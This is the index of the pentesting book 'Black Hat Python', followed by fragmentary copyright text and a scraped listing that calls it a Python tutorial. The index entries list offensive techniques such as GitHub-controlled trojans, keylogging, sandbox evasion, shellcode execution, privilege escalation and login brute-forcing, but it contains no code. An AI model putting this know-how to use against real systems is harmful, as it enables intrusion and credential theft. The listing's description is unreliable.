with Paramiko, SSH with Paramiko, SSH with Paramiko, SSH with Paramiko, SSH with
Paramiko, SSH with Paramiko, SSH with Paramiko
creating SSH server, SSH with Paramiko
installing Paramiko, SSH with Paramiko
key authentication, SSH with Paramiko
running commands on Windows client over SSH, SSH with Paramiko
testing, SSH with Paramiko
ssh_command function, SSH with Paramiko
Stack Data tab, WingIDE, WingIDE
start_monitor function, Winning the Race
store parameter, Stealing Email Credentials
store_module_result function, Building a Github-Aware Trojan
strip function, Turning Website Content into Password Gold
subprocess library, Replacing Netcat
SVNDigger, Kicking the Tires

T
TagStripper class, Turning Website Content into Password Gold
tag_results dictionary, Brute-Forcing HTML Form Authentication
Target tab, Burp, Kicking the Tires, Turning Website Content into Password Gold, Turning Website
Content into Password Gold
TCP clients, creating, The Network: Basics
TCP proxies, Kicking the Tires, Kicking the Tires, Building a TCP Proxy, Building a TCP Proxy,
Building a TCP Proxy

creating, Kicking the Tires
hex dumping function, Building a TCP Proxy
proxy_handler function, Building a TCP Proxy
reasons for building, Kicking the Tires
testing, Building a TCP Proxy
TCP servers, creating, TCP Server
TCPServer class, Man-in-the-Browser (Kind Of)
test_remote function, Mapping Open Source Web App Installations
token privileges, Process Monitoring with WMI, Windows Token Privileges, Windows Token
Privileges
automatically retrieving enabled privileges, Windows Token Privileges
outputting and logging, Windows Token Privileges
transport method, SSH Tunneling
trojans, Github Command and Control, Github Command and Control, Creating Modules, Trojan
Configuration, Building a Github-Aware Trojan, Hacking Python’s import Functionality, Hacking
Python’s import Functionality, Kicking the Tires, Common Trojaning Tasks on Windows, Keylogging
for Fun and Keystrokes, Kicking the Tires, Taking Screenshots, Kicking the Tires
GitHub-aware, Github Command and Control, Github Command and Control, Creating Modules,
Trojan Configuration, Building a Github-Aware Trojan, Hacking Python’s import Functionality,
Hacking Python’s import Functionality, Kicking the Tires
account setup, Github Command and Control
building, Building a Github-Aware Trojan
configuring, Trojan Configuration
creating modules, Creating Modules
hacking import functionality, Hacking Python’s import Functionality
improvements and enhancements to, Kicking the Tires
testing, Hacking Python’s import Functionality
Windows tasks, Common Trojaning Tasks on Windows, Keylogging for Fun and Keystrokes,
Kicking the Tires, Taking Screenshots, Kicking the Tires
keylogging, Keylogging for Fun and Keystrokes
sandbox detection, Kicking the Tires
screenshots, Kicking the Tires
shellcode execution, Taking Screenshots

Tumblr, Creating the Server

U
UDP clients, creating, TCP Client
udp_sender function, Decoding ICMP
urllib2 library, The Socket Library of the Web: urllib2, Taking Screenshots
urlopen function, The Socket Library of the Web: urllib2

V
VMWare Player, Setting Up Your Python Environment
V
olatility framework, Automating Offensive Forensics, Automating Offensive Forensics, Automating
Offensive Forensics, Grabbing Password Hashes, Direct Code Injection
direct code injection, Direct Code Injection
installing, Automating Offensive Forensics
profiles, Automating Offensive Forensics
recovering password hashes, Grabbing Password Hashes

W
wait_for_browser function, Man-in-the-Browser (Kind Of)
wb flag, Replacing Netcat
web application attacks, Web Hackery, The Socket Library of the Web: urllib2, The Socket Library of
the Web: urllib2, The Socket Library of the Web: urllib2, Mapping Open Source Web App
Installations, Kicking the Tires, Brute-Forcing Directories and File Locations, Brute-Forcing
Directories and File Locations, Brute-Forcing Directories and File Locations, Brute-Forcing
Directories and File Locations, Brute-Forcing Directories and File Locations, Brute-Forcing HTML
Form Authentication, Brute-Forcing HTML Form Authentication, Brute-Forcing HTML Form
Authentication, Brute-Forcing HTML Form Authentication, Brute-Forcing HTML Form
Authentication, Brute-Forcing HTML Form Authentication, Brute-Forcing HTML Form
Authentication, Kicking the Tires, Burp Fuzzing, Burp Fuzzing, Burp Fuzzing, Burp Fuzzing, Burp
Fuzzing, Burp Fuzzing, Kicking the Tires, Kicking the Tires, Kicking the Tires, Kicking the Tires

brute-forcing directories and file locations, Kicking the Tires, Brute-Forcing Directories and File
Locations, Brute-Forcing Directories and File Locations, Brute-Forcing Directories and File
Locations, Brute-Forcing Directories and File Locations, Brute-Forcing Directories and File
Locations
applying list of extensions to test for, Brute-Forcing Directories and File Locations
creating list of extensions, Brute-Forcing Directories and File Locations
creating Queue objects out of wordlist files, Brute-Forcing Directories and File Locations
setting up wordlist, Brute-Forcing Directories and File Locations
testing, Brute-Forcing Directories and File Locations
brute-forcing HTML form authentication, Brute-Forcing HTML Form Authentication, Brute-Forcing
HTML Form Authentication, Brute-Forcing HTML Form Authentication, Brute-Forcing HTML
Form Authentication, Brute-Forcing HTML Form Authentication, Brute-Forcing HTML Form
Authentication, Brute-Forcing HTML Form Authentication, Kicking the Tires
administrator login form, Brute-Forcing HTML Form Authentication
general settings, Brute-Forcing HTML Form Authentication
HTML parsing class, Brute-Forcing HTML Form Authentication
pasting in wordlist, Brute-Forcing HTML Form Authentication
primary brute-forcing class, Brute-Forcing HTML Form Authentication
request flow, Brute-Forcing HTML Form Authentication
testing, Kicking the Tires
GET requests, The Socket Library of the Web: urllib2, The Socket Library of the Web: urllib2, The
Socket Library of the Web: urllib2, Mapping Open Source Web App Installations
mapping open source web app installations, Mapping Open Source Web App Installations
simple, The Socket Library of the Web: urllib2
socket library, The Socket Library of the Web: urllib2
using Request class, The Socket Library of the Web: urllib2
web application fuzzers, Burp Fuzzing, Burp Fuzzing, Burp Fuzzing, Burp Fuzzing, Burp Fuzzing,
Burp Fuzzing, Kicking the Tires, Kicking the Tires, Kicking the Tires, Kicking the Tires
accessing Burp documentation, Burp Fuzzing
implementing code to meet requirements, Burp Fuzzing
loading extension, Burp Fuzzing, Burp Fuzzing, Kicking the Tires
simple fuzzer, Burp Fuzzing
using extension in attacks, Kicking the Tires, Kicking the Tires, Kicking the Tires

win32security module, Windows Token Privileges
Win32_Process class, Process Monitoring with WMI, Process Monitoring with WMI
Windows Graphics Device Interface (GDI), Kicking the Tires
Windows privilege escalation, Windows Privilege Escalation, Windows Privilege Escalation,
Windows Privilege Escalation, Creating a Process Monitor, Creating a Process Monitor, Process
Monitoring with WMI, Process Monitoring with WMI, Windows Token Privileges, Windows Token
Privileges, Winning the Race, Winning the Race, Winning the Race, Kicking the Tires
code injection, Kicking the Tires
installing example service, Windows Privilege Escalation
installing libraries, Windows Privilege Escalation
process monitoring, Creating a Process Monitor, Creating a Process Monitor, Process Monitoring
with WMI
testing, Process Monitoring with WMI
with WMI, Creating a Process Monitor
token privileges, Process Monitoring with WMI, Windows Token Privileges, Windows Token
Privileges
automatically retrieving enabled privileges, Windows Token Privileges
outputting and logging, Windows Token Privileges
winning race against code execution, Winning the Race, Winning the Race, Winning the Race
creating file monitor, Winning the Race
testing, Winning the Race
Windows trojan tasks, Common Trojaning Tasks on Windows, Keylogging for Fun and Keystrokes,
Kicking the Tires, Taking Screenshots, Kicking the Tires
keylogging, Keylogging for Fun and Keystrokes
sandbox detection, Kicking the Tires
screenshots, Kicking the Tires
shellcode execution, Taking Screenshots
WingIDE, Installing Kali Linux, WingIDE, WingIDE, WingIDE, WingIDE, WingIDE, WingIDE,
WingIDE, WingIDE, WingIDE, WingIDE, WingIDE

accessing, WingIDE
fixing missing dependencies, WingIDE
general discussion, Installing Kali Linux
inspecting and modifying local variables, WingIDE, WingIDE
installing, WingIDE
opening blank Python file, WingIDE
setting breakpoints, WingIDE
setting script for debugging, WingIDE, WingIDE
viewing stack trace, WingIDE, WingIDE
wordlist_menu function, Turning Website Content into Password Gold
Wuergler, Mark, Creating a Process Monitor

Black Hat Python: Python Programming for Hackers and Pentesters
Justin Seitz
Copyright © 2014
BLACK HAT PYTHON
...
No part of this work may be reproduced or transmitted in any form or by any means, electronic or mechanical,
including photocopying, recording, or by any information storage or retrieval system, without the prior written permission of the copyright
owner and the publisher
...
directly:
No Starch Press, Inc
...
863
...
com
www
...
com
Library of Congress Control Number: 2014953241
No Starch Press and the No Starch Press logo are registered trademarks of No Starch Press, Inc
...
Rather than use a trademark symbol with every occurrence of a
trademarked name, we are using the names only in an editorial fashion and to the benefit of the trademark owner, with no intention of
infringement of the trademark
...
While every precaution has been taken in the
preparation of this work, neither the author nor No Starch Press, Inc
...

No Starch Press
2014-11-26T08:31:28-08:00


Title: Black Hat-Teaching Python
Description: You can easily learn Python language.